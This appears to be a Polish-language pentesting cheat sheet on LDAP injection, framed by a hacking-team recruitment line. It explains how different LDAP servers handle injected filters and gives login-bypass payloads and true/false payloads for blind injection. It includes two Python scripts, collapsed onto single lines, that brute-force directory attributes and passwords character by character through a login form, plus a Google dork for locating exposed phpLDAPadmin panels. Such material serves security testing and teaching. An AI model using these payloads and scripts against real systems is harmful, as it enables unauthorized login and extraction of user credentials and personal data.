Jeśli interesuje Cię kariera w dziedzinie hakerstwa i hakowanie rzeczy niemożliwych - rekrutujemy! (wymagana biegła znajomość języka polskiego w mowie i piśmie).
Wstrzykiwanie LDAP
LDAP
Jeśli chcesz dowiedzieć się, czym jest dostęp LDAP, odwiedź następującą stronę:
Wstrzykiwanie LDAP to atak wymierzony w aplikacje internetowe, które konstruują instrukcje LDAP na podstawie danych wprowadzanych przez użytkownika. Występuje, gdy aplikacja nie oczyszcza poprawnie danych wejściowych, umożliwiając atakującym manipulowanie instrukcjami LDAP za pośrednictwem lokalnego proxy, co potencjalnie prowadzi do nieautoryzowanego dostępu lub manipulacji danych.
Na przykład:
(&(!(objectClass=Impresoras))(uid=s*))(&(objectClass=user)(uid=*))
Możesz uzyskać dostęp do bazy danych, która może zawierać informacje różnego rodzaju.
OpenLDAP: Jeśli przyjdą 2 filtry, wykonuje tylko pierwszy.
ADAM lub Microsoft LDS: Z 2 filtrami zgłaszają błąd.
SunOne Directory Server 5.0: Wykonuje oba filtry.
Bardzo ważne jest wysłanie filtra z poprawną składnią, w przeciwnym razie zostanie zgłoszony błąd. Lepiej jest wysłać tylko 1 filtr.
Filtr musi zaczynać się od: & lub |
Przykład: (&(directory=val1)(folder=public))
Następnie: (&(objectClass=*)(ObjectClass=*)) będzie pierwszym filtrem (tym wykonanym).
Ominięcie logowania
LDAP obsługuje kilka formatów przechowywania hasła: czyste, md5, smd5, sh1, sha, crypt. Dlatego może się zdarzyć, że niezależnie od tego, co wpiszesz w haśle, zostanie ono zahaszowane.
user=*password=*--> (&(user=*)(password=*))# The asterisks are great in LDAPi
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) #Can through an error
username=admin)(!(&(|pass=any))--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
Możesz wymusić odpowiedzi False lub True, aby sprawdzić, czy zwracane są jakiekolwiek dane i potwierdzić możliwą ślepą wstrzyknięcie LDAP:
#This will result on True, so some information will be shownPayload:*)(objectClass=*))(&objectClass=voidFinalquery: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shownPayload:void)(objectClass=void))(&objectClass=voidFinalquery: (&(objectClass=void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Wyciek danych
Możesz iterować po literach ASCII, cyfrach i symbolach:
Obiekty LDAP domyślnie zawierają kilka atrybutów, które mogą być użyte do zapisywania informacji. Możesz spróbować przeprowadzić atak siłowy na wszystkie z nich, aby wydobyć te informacje. Możesz znaleźć listę domyślnych atrybutów LDAP tutaj.
#!/usr/bin/python3import requestsimport stringfrom time import sleepimport sysproxy ={"http":"localhost:8080"}url ="http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes:#Extract all attributesvalue =""finish =Falsewhilenot finish:for char in alphabet:#In each possition test each possible printable charquery =f"*)({attribute}={value}{char}*"data ={'login':query,'password':'bla'}r = requests.post(url, data=data, proxies=proxy)sys.stdout.write(f"\r{attribute}: {value}{char}")#sleep(0.5) #Avoid brute-force bansif"Cannot login"in r.text:value +=str(char)breakif char == alphabet[-1]:#If last of all the chars, then, no more chars in the valuefinish =Trueprint()
Specjalny ślepy wstrzyknięcia LDAP (bez "*")
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet:r = requests.get("http://ctf.web??action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text):flag += charprint("[+] Flag: "+ flag)break
Google Dorks
intitle:"phpLDAPadmin"inurl:cmd.php
Więcej ładunków
Jeśli jesteś zainteresowany karierą w hakerstwie i hakowaniem rzeczy niemożliwych do zhakowania - zatrudniamy! (biegła znajomość języka polskiego w mowie i piśmie wymagana).